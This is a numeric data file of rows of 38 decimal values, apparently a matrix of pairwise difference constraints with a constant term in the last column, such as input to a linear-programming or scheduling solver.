1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -45.00
